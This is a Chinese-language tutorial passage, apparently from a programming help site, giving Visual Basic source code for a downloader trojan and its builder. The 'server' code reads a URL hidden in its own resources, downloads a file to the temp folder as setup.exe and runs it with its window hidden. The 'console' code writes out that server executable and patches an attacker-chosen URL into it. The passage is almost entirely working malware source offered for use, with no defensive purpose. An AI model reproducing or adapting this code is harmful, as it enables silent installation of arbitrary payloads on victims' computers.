以下就是服務端
private declare function gettemppath lib "kernel32" alias "gettemppatha" _ '取得temp目錄的api
(byval nbufferlength as long, byval lpbuffer as string) as long
private declare function urldownloadtofile lib "urlmon" alias "urldownloadtofilea" (byval pcaller as long, byval szurl as string, byval szfilename as string, byval dwreserved as long, byval lpfncb as long) as long'下在文件的api
public sub main()
dim sourceurl as string
dim chen() as byte
dim targetfile as string
dim temppath as string
dim len5 as long
dim i as long
chen = loadresdata("http", "圖標") '取出數據
for i = 0 to 184 '還原為字符
if chen(i) <> 0 and chen(i) <> 32 then
sourceurl = sourceurl + chr(chen(i))
end if
next
temppath = string(255, 0)
len5 = gettemppath(256, temppath)
temppath = left(temppath, len5)
targetfile = temppath + "setup.exe" ' 保存路徑
hfile = urldownloadtofile(0&, sourceurl, targetfile, 0&, 0&)
if hfile = 0 then
shell targetfile, vbhide
end if
end sub
保存為bas 文件就可以了
控制臺文件需要對資源文件進行讀寫
用到以下幾個api
public declare function beginupdateresource lib "kernel32" alias "beginupdateresourcea" (byval pfilename as string, byval bdeleteexistingresources as long) as long
public declare function updateresource lib "kernel32" alias "updateresourcea" (byval hupdate as long, byval lptype as string, byval lpname as string, byval wlanguage as long, lpdata as any, byval cbdata as long) as long
public declare function endupdateresource lib "kernel32" alias "endupdateresourcea" (byval hupdate as long, byval fdiscard as long) as long
這幾個可以把它放到一個bas文件中
以下就是控制臺的代碼
private sub command1_click()
dim bwenjian as long
dim wenjian as long
dim ewenjian as long
dim app2() as byte
dim astr as string * 200
app2 = loadresdata("exe", "exefile")
if dir(text1.text) <> "" then
msgbox text1.text + "已存在"
exit sub
end if
open text1.text for binary as #1
put #1, , app2()
close #1
astr = left$(text2.text, 200)
bwenjian = beginupdateresource(text1.text, false)' 開始一個添加資源的過程
wenjian = updateresource(bwenjian, "圖標", "http", 2052, byval astr, 200) ' 添加資源
ewenjian = endupdateresource(bwenjian, false) ' 結束添加資源過程
end sub
private sub form_load()
text1.text = app.path & "/xz.exe" ' 默認的服務端文件名
end sub
當然你要把 服務端的exe導入里面存為資源
新聞熱點
疑難解答